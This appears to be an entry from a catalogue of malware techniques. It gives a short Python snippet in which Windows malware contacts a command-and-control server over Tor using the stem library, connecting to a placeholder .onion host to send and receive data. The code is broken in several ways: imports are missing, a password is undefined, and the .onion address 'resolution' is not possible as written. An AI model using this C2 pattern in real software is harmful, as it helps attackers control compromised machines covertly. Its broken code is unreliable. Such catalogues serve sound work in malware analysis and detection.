Windows Python / Tor Network C2

Author Thomas Roccia (fr0gger)
Platform Windows
Language Python
Technique Tor Network C2

Description:

This code uses the stem library to connect to the Tor control port and authenticate with the control password. It then creates a new circuit to the specified C&C server and resolves its address using stem.util.connection.resolve_address(). The code then establishes a connection to the C&C server over the Tor network and sends and receives data from it.

Code

import stem
import stem.connection
import stem.util.system

# Replace with the address of your C&C server
cc_server = "xyzabc123.onion"

# Connect to the Tor control port
control_socket = stem.socket.ControlPort(port = 9051)

# Authenticate with the Tor control port
stem.connection.authenticate_password(control_socket, control_password)

# Start a new circuit to the C&C server
circuit_id = stem.control.Controller.from_port(port = 9051).new_circuit(path = [], await_build = True)

# Resolve the C&C server's address
cc_server_ip = stem.util.connection.resolve_address(cc_server)

# Connect to the C&C server
cc_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cc_socket.connect((cc_server_ip, 80))

# Send data to the C&C server
cc_socket.sendall(b"hello")

# Receive data from the C&C server
data = cc_socket.recv(1024)

Created

December 13, 2022

Last Revised

April 22, 2024